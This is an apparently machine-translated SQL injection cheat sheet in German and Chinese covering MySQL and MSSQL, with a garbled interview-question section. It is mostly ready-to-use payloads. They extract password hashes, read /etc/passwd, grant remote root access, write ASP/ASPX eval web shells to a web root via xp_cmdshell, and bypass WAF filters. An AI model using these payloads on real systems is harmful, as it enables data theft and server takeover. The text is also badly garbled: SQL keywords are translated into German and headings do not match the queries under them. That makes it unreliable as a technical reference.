Heim  >  Artikel  >  Betrieb und Instandhaltung  >  Welche Arten der SQL-Injection gibt es?

Welche Arten der SQL-Injection gibt es?

WBOY
WBOYnach vorne
2023-05-18 22:05:122078Durchsuche

Vorwort

Die Angriffsmethoden der SQL-Injection können je nach Anwendung, die den von der Datenbank zurückgegebenen Inhalt verarbeitet, in explizite Injektion, Fehlerinjektion und blinde Injektion unterteilt werden.

Explizite Injektion

Der Angreifer kann den gewünschten Inhalt direkt im aktuellen Schnittstelleninhalt abrufen.

Fehlerinjektion

Die Ergebnisse der Datenbankabfrage werden nicht auf der Seite angezeigt, aber die Anwendung druckt die Datenbankfehlerinformationen auf die Seite, sodass der Angreifer eine Datenbankfehleranweisung erstellen und den gewünschten Inhalt aus den Fehlerinformationen erhalten kann . .

Blinde Injektion

Die Ergebnisse der Datenbankabfrage können nicht von der intuitiven Seite abgerufen werden. Der Angreifer erhält den gewünschten Inhalt, indem er die Datenbanklogik verwendet oder die Ausführung der Datenbankbibliothek verzögert. Manuelle MySQL-Injektion reee

4.geometrycollection ( )

?id=1' order by 4--+

?id=0' union select 1,2,3,database()--+

?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+

?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+

group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name

?id=0' union select 1,2,3,group_concat(password) from users --+

group_concat 可替换为 concat_ws(',',id,users,password )

?id=0' union select 1,2,3,password from users limit 0,1--+
5.multipoint()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
6.polygon()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
7.multipolygon()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

8.linestring()

select \* from test where id=1 and geometrycollection((select \* from(select \* from(select user())a)b));
9.multilinestring()
select \* from test where id=1 and multipoint((select \* from(select \* from(select user())a)b));
10.exp()

select \* from test where id=1 and polygon((select \* from(select \* from(select user())a)b));

Zeitblinde Injektion

Häufig verwendete Funktion sleep()

Split-Funktion substr, substring, left

Nach dem Codieren der Split-Funktion sind keine Anführungszeichen mehr erforderlich, ascii() hex()

Wir müssen es noch tun Verwenden Sie es für die Blindinjektion in allgemeiner Zeit. Bedingte Beurteilungsfunktion

if (expre1, expre2, expre3)

Wenn expre1 wahr ist, geben Sie expre2 zurück, wenn falsch, geben Sie expre3 zurück

select \* from test where id=1 and multipolygon((select \* from(select \* from(select user())a)b));

Boolesche Blindinjektion

select \* from test where id=1 and linestring((select \* from(select \* from(select user())a)b));
Diese Injektion wird angezeigt In der Registrierung, im IP-Header, in Message Boards und an anderen Stellen, an denen Daten geschrieben werden müssen, wie z. B. die Verwendung von SQLMAP, wird eine Menge Mülldaten erzeugt. Testeinfügungen, Anführungszeichen, doppelte Anführungszeichen und Escape-Zeichen verhindern, dass die Aussage erfolgt Wird normal ausgeführt. Wenn das Einfügen fehlschlägt, schlägt die Aktualisierung fehl und geht dann tief in die Tiefe. Testen Sie, ob eine Injektion vorliegt Hexadezimale Kodierung, so dass es keine einfachen Anführungszeichen gibt

Wide-Byte-Injection:

Einfache Anführungszeichen werden als ' maskiert, MySQL kodiert es als %5c, was ein chinesisches Zeichen darstellt, daher wird %df hinzugefügt bis %5c wird zu einem chinesischen Schriftzeichen „Operation“ und umgeht dadurch die Escape-Funktion reee

Manuelle SQL-Injektion

Beurteilen Sie, ob der Injektionspunkt vorhanden ist.

Digitale Injektion Der Injektionspunkt existiertBeispiel:

http://www.xxx.cn/news.php?p=1&id=4' gibt einen Fehler zurück

http://www.xxx.cn/news.php?p= 1&id=4 und 1=1 geben korrekt zurück ' und 1=1 und '1'='1

' und 1=2 und '1'='1

http://www.xxx.cn/news.php?p=1&id=4' gibt einen Fehler zurück

http://www.xxx.cn/ news.php?p=1&id=4' und 1=1 und '1'='1 gibt korrekt zurück

http://www.xxx.cn/news.php ?p=1&id=4' und 1=2 und '1'='1 gibt den Fehler

Suchinjektion


Geben Sie ' in das Eingabefeld zurück gibt den Fehler
x%' und 1=1 und '% zurück '=' gibt korrekt

x%' und 1 =2 und '%'=' gibt einen Fehler zurück

Judg-Feldnummer

Zahlentyphttp://www.xxx.cn/news.php?p=1&id= 4 Bestellung nach 26 Rückgabe korrekt

http:// www.xxx.cn/news.php?p=1&id=4 Bestellung nach 27 Rückgabe FehlerSchlussfolgerung: Feld Nummer 26.

Zeichentyphttp://www.xxx.cn/news.php?p=1&id=4' Reihenfolge nach 26 # Rückgabe korrekthttp://www.xxx.cn/news.php?p= 1&id=4' order by 27 # Rückgabefehler

Fazit: Feldnummer 26.

Suchtyp

x%' Reihenfolge nach 26 # Richtig zurückgeben

x%' Reihenfolge nach 27 # Fehler zurückgeben

Fazit: Feld Nummer 26.

Suche nach anzeigbaren Feldern

numerischer Typ

http://www.xxx.cn/news.php?p=1&id=4 und 1=2 Union Select 1,2,3,4,5,6,7, 8,9,....

Zeichentyp

http://www.xxx.cn/news.php?p=1&id=4' und 1=2 Union Select 1,2,3,4,5, 6,7,8,9,.... #

Suchtyp

x%' und 1=2 Union wählen 1,2,3,4,5,6,7,8,9,.... #Überprüfen Sie den Datenbanknamen

numerischer Typ

http://www.xxx.cn/news.php?p=1&id=4 und 1=2 Union Select 1,2,database(),4,5 , 6,7,8,9,....

Zeichentyp

http://www.xxx.cn/news.php?p=1&id=4' und 1=2 Union Select 1,2,Datenbank ( ),4,5,6,7,8,9,.... #

Suchtyp

x%' und 1=2 Union Select 1,2,database(),4,5,6,7 , 8,9,.... #

Überprüfen Sie den Tabellennamen in der Datenbank

numerisch

http://www.xxx.cn/news.php?p=1&id=4 und 1=2 Union Select 1, group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 aus information_schema.tables, wobei table_schema='Datenbankname'

Der Datenbankname kann auch hexadezimal sein

Zeichentyp

http://www.xxx.cn/news.php?p=1&id=4' und 1=2 Union Select 1,group_concat(table_name),3 ,4 ,5,6,7,8,9,10,11,12,13,14,15,16,17 aus information_schema.tables, wobei table_schema='Datenbankname' #

Der Datenbankname kann auch hexadezimal gemacht werden

Suchtyp

Der Datenbankname kann auch hexadezimal sein
Der Spaltenname in der Nachschlagetabelle

numerisch

http://www.xxx.cn/news.php?p=1&id=4 und 1 =2 Union Select 1 ,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='table name '

The table Name kann auch hexadezimal verwendet werden

Zeichentyp

http://www.xxx.cn/news.php?p=1&id=4' und 1=2 Union Select 1,group_concat(column_name) ,3,4,5, 6,7,8,9,10,11,12,13,14,15,16,17 aus information_schema.columns, wobei table_name='table name' #

Tabellenname kann auch als Hexadezimal-Suchtyp

verwendet werden x%' und 1=2 Union Select 1,2,group_concat(column_name),4,5,6,7,8,9,.... from information_schema.columns where table_name= 'Table name' #

The table Name kann auch hexadezimal verwendet werden

Suchen Sie die Daten in der Tabelle
Numerischer Typ

http://www.xxx.cn/news.php?p=1&id=4 und 1=2 Union Select 1,group_concat( Benutzername, Passwort),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 aus Tabellenname

Zeichentyp

http://www.xxx .cn/news.php?p=1&id=4' und 1=2 Union Select 1,group_concat(username,password),3,4,5,6,7,8,9 ,10,11,12,13, 14,15,16,17 aus Tabellenname#

Suchtyp

x%' und 1=2 Union Select 1,2,group_concat(username,password),4,5, 6,7,8,9,. ... aus Tabellenname#

Version anzeigen: Version auswählen();

Zeichensatz anzeigen: @@character_set_database auswählen;

Datenbanken anzeigen Datenbanken anzeigen;

Tabellennamen anzeigen: Tabellen anzeigen;

Computernamen anzeigen: select @@hostname;

Systemversion anzeigen: @@version_compile_os auswählen;

MySQL-Pfad anzeigen: @@basedir auswählen;

Datenbankpfad anzeigen: @@datadir auswählen;

Root-Passwort anzeigen: Benutzer, Passwort aus MySQL auswählen .user;

Externe Verbindung öffnen: GEWÄHREN SIE ALLE PRIVILEGIEN AUF . TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;

MySQL-Funktionsnutzung


MySQL bietet die Funktion „load_file()“, mit der Benutzer Dateien schnell lesen können. Der Dateispeicherort muss sich jedoch auf dem Server befinden, der Dateipfad muss ein absoluter Pfad sein und Root-Berechtigungen sind erforderlich

Die SQL-Anweisung lautet wie folgt: Union Select 1,load_file('/etc/passwd') ,3,4 ,5 #

Normalerweise erlauben einige Anti-Injection-Anweisungen das Auftreten von einfachen Anführungszeichen nicht, daher können Sie die folgende Anweisung zur Umgehung verwenden:

union select 1,load_file(0x272F6574632F70617373776427),3,4,5 #

Ja Der Pfad wird in Hexadezimal umgewandelt.

Manuelle MSSQL-Injection
Im Gegensatz zur SQL-Injection nutzt SQL die angezeigten Felder aus, und MSSQL nutzt die Fehlerinjektion aus, um schädliche SQL-Anweisungen einzufügen, damit die Abfrage Fehler meldet. In den gemeldeten Fehlern werden die erforderlichen Informationen angezeigt.

Einspritzpunkt:

www.xxx.cn/xxx/xxx.aspx?id=1

Datenbankversion abfragen
@@version: globale MSSQL-Variable, die Informationen zur Datenbankversion angibt.

Testanweisung:

http://www.xxx.cn/xxx/xxx.aspx?id=1 und @@version>0

Hinweis: „und @@vsersion>0“ kann auch geschrieben werden als „ und 0" /@@version>0"

Fehlermeldung:

Der nvarchar-Wert ist „Microsoft SQL Server 2008 R2 (SP3) – 10.50.6000.34 (X64) 19. August 2014 12:21:34 Copyright (c) Microsoft Corporation Enterprise Edition (64-Bit) unter Windows NT 6.1

Grund:

@@version ist eine globale Variable von MSSQL. Wenn wir nach „?id=1“ „and @@version>0“ hinzufügen, lautet die Anweisung nach „and“ „@@version“. Capture wurde gezwungen, in den Typ „int“ zu wechseln und mit 0 verglichen, aber die Typkonvertierung schlug fehl, sodass die Datenbankinformationen offengelegt wurden.

Fragen Sie den Computernamen ab
@@Servername: Globale MSSQL-Variable, die den Computernamen darstellt.

Fehlermeldung:

Der Nvarchar-Wert „WINDOWS-XXXXXX“ konnte nicht in den Datentyp int konvertiert werden.

Fragen Sie den aktuellen Datenbanknamen ab
db_name(): Der aktuell verwendete Datenbankname.

Fehlermeldung:

Der Nvarchar-Wert „abc“ konnte nicht in den Datentyp int konvertiert werden.

Fragen Sie den Benutzer ab, der derzeit mit der Datenbank verbunden ist.
User_Name(): Der Benutzer, der derzeit mit der Datenbank verbunden ist.

Fehlermeldung:

Der Nvarchar-Wert „dbo“ konnte nicht in den Datentyp int konvertiert werden.

Hinweis: Wenn Sie dbo sehen, verfügen die meisten aktuellen Datenbankbenutzer über DBA-Berechtigungen.

Andere Datenbanknamen abfragen
Andere Datenbanken auflösen:

http://www.xxx.cn/xxx/xxx.aspx?id=1 und (SELECT top 1 Name FROM Master..SysDatabases)>0

Fehlermeldung:

Fehler beim Konvertieren des Nvarchar-Werts „master“ in den Datentyp int.

Die anderen Datenbanken sind wie folgt geschrieben:

http://www.xxx.cn/xxx/xxx.aspx?id=1 und (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master ' ))>0

Wenn Sie fortfahren, schreiben Sie so:

http://www.xxx.cn/xxx/xxx.aspx?id=1 und (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master','abc'))>0
Fragen Sie den Tabellennamen in der Datenbank ab

Überprüfen Sie den Tabellennamen:

http://www.xxx.cn/xxx/xxx.aspx ?id= 1 und (wählen Sie den Top-1-Namen aus abc.sys.all_objects aus, wobei type='U' UND is_ms_shipped=0)>0

Fehlermeldung:

Der Nvarchar-Wert „depart“ konnte nicht in den Datentyp int konvertiert werden.

Erkunden Sie andere Tabellen:

http://www.xxx.cn/xxx/xxx.aspx?id=1 und (wählen Sie den Top-1-Namen aus abc.sys.all_objects aus, wobei type='U' AND is_ms_shipped=0 und Name nicht in ('depart'))>0

Weiter:

http://www.xxx.cn/xxx/xxx.aspx?id=1 und (wählen Sie den Top-1-Namen aus abc.sys aus. all_objects where type='U' AND is_ms_shipped=0 and name not in ('depart','worker'))>0
Fragen Sie den Spaltennamen oder Feldnamen in der Tabelle ab

Überprüfen Sie den Feldnamen:

http : //www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 COLUMN_NAME from abc.information_schema.columns where TABLE_NAME='depart')>0

Fehlermeldung:

In nvarchar Conversion of Wert 'ID' zum Datentyp int fehlgeschlagen.

Erkunden Sie andere Felder:

http://www.xxx.cn/xxx/xxx.aspx?id=1 und (wählen Sie Top 1 COLUMN_NAME aus abc.information_schema.columns aus, wobei TABLE_NAME='depart' und COLUMN_NAME nicht in('ID'))>0

Weiter:

http://www.xxx.cn/xxx/xxx.aspx?id=1 und (wählen Sie den obersten 1 COLUMN_NAME aus abc.information_schema.columns aus, wobei TABLE_NAME= 'depart' und COLUMN_NAME nicht in ('ID','NAME'))>0
Explosive Daten

Abfragedaten:

http://www.xxx.cn/xxx/xxx.aspx? 1 und (wählen Sie das Top-1-Passwort von Depart aus)>0

Fehlermeldung:

Der Nvarchar-Wert „B5A1EF8730200F93E50F4F5DEBBCAC0B“ konnte nicht in den Datentyp int konvertiert werden.
Schreiben Sie einen Satz-Trojaner

Wenn die Datenberechtigung dba ist und den absoluten Pfad der Website kennen, können wir diese Anweisung verwenden, um einen Satz-Trojaner zu schreiben:

asp-Trojaner:

http://www .xxx .cn/xxx/xxx.aspx?id=1;exec master..xp_cmdshell 'echo "<%@ LANGUAGE=VBSCRIPT %>;<%eval request(chr(35))%>'' " > ; d:KfSitekaifeng2.asp'--

aspx Trojaner:

http://www.xxx.cn/xxx/xxx.aspx?id=1;exec master..xp_cmdshell 'echo "<%@ LANGUAGE= Jscript %>;<%eval(Request("sb"),"unsafe")%>''" >C:inetpubwwwroot2.aspx' --

Das Prinzip ist, dass SQL Server gestapelte Abfragen unterstützt xp_cmdshell kann den Befehl cmd ausführen. Verwenden Sie [echo content>file] im Befehl cmd, um Dateien auf die Festplatte zu schreiben.
Verwenden Sie die Hex-Kodierung, um WAF zu umgehen

http://www.xxx.com/xxx/xxx.aspx?username=xxx Verwenden Sie „HEX-Kodierung“ unter „Kodierung“ des Hackbar-Tools in Firefox, um die Zeichenfolge einfach in Sie zu kodieren hex, und verwenden Sie dann die Fehlerinjektion, um sie in diese Website einzuschleusen.
Explodieren Sie die Datenbankversion.

Wählen Sie „convert(int,@@version)“ aus Folgende Methode zum Injizieren:

http://www.xxx.com/xxx/xxx .aspx? username=xxx';dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 eXeC(@s)–

Fehlermeldung:

Im Nvar-Char-Wert „Microsoft SQL Server 2008 R2 (RTM) – 10,50. 1600.1 (X64) 2. April 2010 15:48:46 Copyright (c) Microsoft CorporationStandard Edition (64-Bit) unter Windows NT 6.1 (Build 7601: Service Pack 1) (Hypervisor)' Konvertierung in den Datentyp int fehlgeschlagen.

Achten Sie auf die folgende Injektionsanweisung:

dEcLaRe @s vArChAr(8000) //Deklarieren Sie eine lokale Variable @s, Typ ist varchar(8000)

sEt. @s=0x73656c65637420636f6e7665727428696e742c404 07665727 3696f6e29 //Weisen Sie @s einen Wert zu , „select konvertieren (int,@@version)“ Hexadezimalkodierung

eXeC(@s) //Rufen Sie die Funktion exec() auf, um den Inhalt in „@s“ auszuführen.

Explodieren Sie die aktuelle Datenbank.


select konvertieren (int,db_name())Explodieren Sie den aktuellen Benutzer 1 Name aus abc[Datenbankname].sys.all_objects, wobei Typ='U' UND is_ms_shipped=0)) select Convert(int,(wählen Sie den ersten 1 Namen aus abc[Datenbankname].sys.all_objects aus, wobei Typ='U' AND is_ms_shipped=0 und Name nicht in ('CMS_ArticleClass')))

Explosionsfeld

select konvertieren(int,(wählen Sie den obersten 1 Spaltennamen aus abc[Datenbankname].information_schema.columns aus, wobei TABLE_NAME='CMS_Userinfo[Tabellenname]')) wählen Sie konvertieren(int,(wählen Sie den obersten 1 Spaltennamen aus abc[Datenbankname] aus. information_schema.columns, wobei TABLE_NAME='CMS_Userinfo[Tabellenname]' und COLUMN_NAME nicht in ('id')))
Explosive Daten

select convert(int,(select top 1 username from CMS_Admin)) select convert(int, (Wählen Sie das Top-1-Passwort aus CMS_Admin aus.) (www.test.com/xsn.php?id=12+1)
Nein, denn das Pluszeichen bedeutet ein Leerzeichen in der URL.

2. Wissen Sie, wie viele Anmerkungen es in MySQL gibt?

Drei Typen: ①.# Dieser Kommentar ist bis zum Ende der Zeile; ②./Kommentiert mehrere Zeilen/; ③.–+ Dieser Kommentar ist bis zum Ende der Zeile.

Die dritte Methode bedarf einer Erklärung, da ich mit dieser Schreibweise bisher nicht vertraut bin. Obwohl ich immer noch einige Eindrücke von „-“ als Kommentarzeichen habe, bereitet mir „-+“ Kopfschmerzen. Tatsächlich ist es -, bitte beachten Sie, dass nach - ein Leerzeichen steht. Wenn Sie Leerzeichen direkt in die URL eingeben, ignoriert der Browser diese automatisch und übergibt sie nicht an die Datenbank. Deshalb habe ich es gezielt durch ein Pluszeichen ersetzt.

3. Kann „select * from admin“ ausgeführt werden? Wenn nicht, erklären Sie es bitte.

Kann nicht ausgeführt werden, wenn Sie eine ausgewählte Doppelschicht verwenden, müssen Sie die zweite einschließen, sonst ist sie ungültig.

Wenn Leerzeichen herausgefiltert werden, wissen Sie, wie Sie dies umgehen können? Oder wissen Sie, welche Zeichen Leerzeichen ersetzen können? Diese Zeichen werden Leerzeichen genannt. Beispielsweise wird un%0aion als Union behandelt. Wenn die Leerzeichen gefiltert werden, lautet die mögliche SQL-Anweisung: Wählen Sie aus Nachrichten aus, bei denen uid=45 oder 1=1 ist. Wir können // verwenden, um die Leerzeichen zu ersetzen: http://www.xxx.com/index.php?id= 45 //oder/**/1=1 Zusätzlich: %09 %0A %0D + /|–|/ /@–|/ /?–|/ /|%20–%20|/ kann Leerzeichen ersetzen.

5.Welche Berechtigungen hat die Oracle-Datenbank unter Windows? Die Oracle-Datenbank unter Windows muss mit Systemberechtigungen ausgeführt werden.

6. Was ist der Unterschied zwischen SQL-Injection und blinder SQL-Injection?

Bei der regulären SQL-Injection gibt die Anwendung die Daten in der Datenbank zurück und präsentiert sie Ihnen, aber bei der Schwachstelle der blinden SQL-Injection können Sie nur zwei verschiedene Antworten erhalten, die den wahren und falschen Bedingungen in der Injektion und der Anwendung entsprechen Für wahre und falsche Bedingungen werden unterschiedliche Werte zurückgegeben, die Abfrageergebnisse können jedoch von einem Angreifer nicht abgerufen werden.

7. Was sind die Hauptursachen für SQL-Injection-Schwachstellen?

Unzureichende Überprüfung der vom Benutzer bereitgestellten Daten durch Webanwendungen und mangelnde Codierung der Ausgabe sind die Hauptursachen für Probleme.

8. Was ist eine gestapelte Abfrage?

In einer einzelnen Datenbankverbindung werden mehrere Abfragesequenzen ausgeführt, und ob gestapelte Abfragen zulässig sind, ist einer der wichtigen Faktoren, die sich darauf auswirken, ob SQL-Injection-Schwachstellen ausgenutzt werden können.

In MYSQL können SELECT * FROM-Mitglieder ausgeführt werden. Die Datenbank unterstützt gestapelte Abfragen, es ist jedoch möglicherweise nicht möglich, PHP die SQL-Anweisungen gestapelter Abfragen ausführen zu lassen.

/* ...*/

Was bedeutet das?

Besonders bei MYSQL-Datenbanken: Wenn Sie am Anfang des Kommentars ein Ausrufezeichen gefolgt von der Datenbankversionsnummer hinzufügen, wird der Kommentar in Code geparst, solange die Datenbankversion höher oder gleich der enthaltenen Version ist Im Kommentar wird der Code implementiert.

select 1 /!40119 + 1/

Die Abfrageergebnisse:

gibt 2 zurück (MySQL-Version ist 4.01.19 oder höher)

gibt 1 zurück (andere Fälle)

10. Wenn das '= in der Injektionsanweisung „Gefiltert?“

Sie können die Verwendung des Schlüsselwortersatzes „Gefällt mir“ in Betracht ziehen: „Union Select Password“ von Benutzern, wobei der Benutzername „Admin“ lautet.

11 Was passiert, wenn Leerzeichen gefiltert werden? Sie können die Verwendung von „/**/'Ersatz:

union/

/select/

/password/

/from/

/users/

/where//username//like//admin; Beachten Sie, dass In MySQL, dies kann auch umgangen werden, indem Inline-Kommentare innerhalb von Schlüsselwörtern verwendet werden: uni//on//sel//ect//password//fr//om//users//wh//ere// username//like //admin;

12. '+' in SQL-Injection?

MSSQL: In MSSQL wird der „+“-Operator für Zeichenfolgenverkettungen und Additionsoperationen verwendet, „1“+„1“=„11“, 1+1=2.

MySQL: „Das „+““ Operator wird nur für Additionsoperationen verwendet, '1'+'1'='2', 1+1=2,

Oracle: In Oracle wird der Operator "+" nur für Additionsoperationen verwendet, '1'+'; 1'='2', 1+1=2.

13. Verkettung von Zeichenfolgen in der Datenbank?

MSSQL: 'a'+'b'='ab'

MYSQL: 'a' 'b'='ab'

Oracle: 'a'||'b'='ab'

14 Symbole

MSSQL: '-- ' (beachten Sie das Leerzeichen danach), '/.../'

MySQL: '-- ','# ','/.../', beachten Sie, dass -- sein muss gefolgt Es müssen ein oder mehrere Leerzeichen vorhanden sein.

Oracle: '-- ','/.../'

In den drei Datenbanken ist das gemeinsame Kommentarzeichen '-- '

WAF-Umgehung

Umgehung auf Regelebene
SQL-Kommentarzeichen-Umgehung
union/**/selectunion/aaaa%01bbs/select

union/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/select

Inline-Kommentare: /!xxxx/

Leerraumumgehung:

“ in Betracht ziehen

MySQL空白符:%90,%0A,%0B,%0D,%20,%0C,%A0,/xxx/

正则的空白符:%09,%0A,%0B,%0D,%20

Example-1:union%250Cselect

Example-1:union%25A0select
函数分隔符号:

concat%2520(

concat/**/(

concat%250c(

concat%25a0(
浮点数词法分析:

select * from users where id=8E0union select

1,2,3,4,5,6,7,8,9,0

select * from users where id=8.0union select

1,2,3,4,5,6,7,8,9,0

select * from users where id=\Nunion select

1,2,3,4,5,6,7,8,9,0
利用error_based进行SQL注入:

Error-based SQL注入函数非常容易被忽略

extractvalue(1,concat(0x5c,md5(3)));

updatexml(1,concat(0x5d,md5(3)),1);

GeometryCollection((select * from (select * from

(select@@version)f)x))

polygon((select*from (select name_const(version(),1))x))

linestring()

multipoint()

multilinestring()

multipolygon()

MySQL特殊语法

select{x table_name}from{x information_schema.tables};
每一个点都能找到绕过的方法

以注释绕过为例子,开始Fuzz

注释符绕过:

*先测试最基本的: union/**/select

*再测试中间引入特殊字:union/aaaa%01bbs/select

*最后测试注释长度:union/aaaaaaaaaaaaaaaaaaaaaaa/select

最基本的模式:

union/something/select

大小写绕过

即使在程序中设置了过滤关键字,但由于过滤过程中没有深入分析组成关键字的部分,所以只能对整体进行过滤。

例如:and过滤。当然这种过滤只是发现关键字出现,并不会对关键字处理。可以通过修改关键字的内字母大小写来绕过过滤措施。
常规绕过手段
双写绕过

如果在程序中设置遇到关键字时将其替换为一个空字符串,那么将不会发生SQL注入攻击。对于这样的过滤策略可以使用双写绕过。因为在过滤过程中只进行了一次替换。

例如:过滤了union 只要发现union 无论大小写都会被替换为空。这是就可以通过双写uniunionon的写法来对过滤进行绕过。
编码绕过

可以利用网络中的URl在线编码,绕过SQL注入的过滤机制。

http://tool.chinaz.com/Tools/urlencode.aspx 1
内联注释绕过

在Mysql中内容注释中的内容可以被当做SQL语句执行。
绕过过滤and和or的SQL注入

Mysql一些特性:

1、Mysql中的大小写不敏感,大写和小写一样。

2、Mysql中的十六进制与URL编码。

3、符号和关键字替换 and --> &&、or --> ||

4、内联注释与多行注释 /!内联注释/ /多行注释/。

5、Mysql中会自动识别URL与Hex编码好的内容。

绕过策略:

1、大小写变形,or,OR,oR,Or,and,And,AND,aND等。

2、在这两个敏感词汇中添加注释,例如:a/**/and 双写:oorr

3、利用符号替代 and–>&&、or–>||
绕过去除空格的SQL注入

编码:hex,urlencode

空格URL编码:

%0a 新建一行

%0c 新的一页

%0d return功能

%0b TAB键(垂直)

Sqlmap安全检测:

sqlmap -u “URL” --hex --dbs --batch
绕过去除(union和select)的SQL注入

编码%0a、加入/**/符,union/select大小写、双写等绕过。

Das obige ist der detaillierte Inhalt vonWelche Arten der SQL-Injection gibt es?. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Dieser Artikel ist reproduziert unter:yisu.com. Bei Verstößen wenden Sie sich bitte an admin@php.cn löschen
Vorheriger Artikel:Was sind die Rebound-Schalen?Nächster Artikel:Was sind die Rebound-Schalen?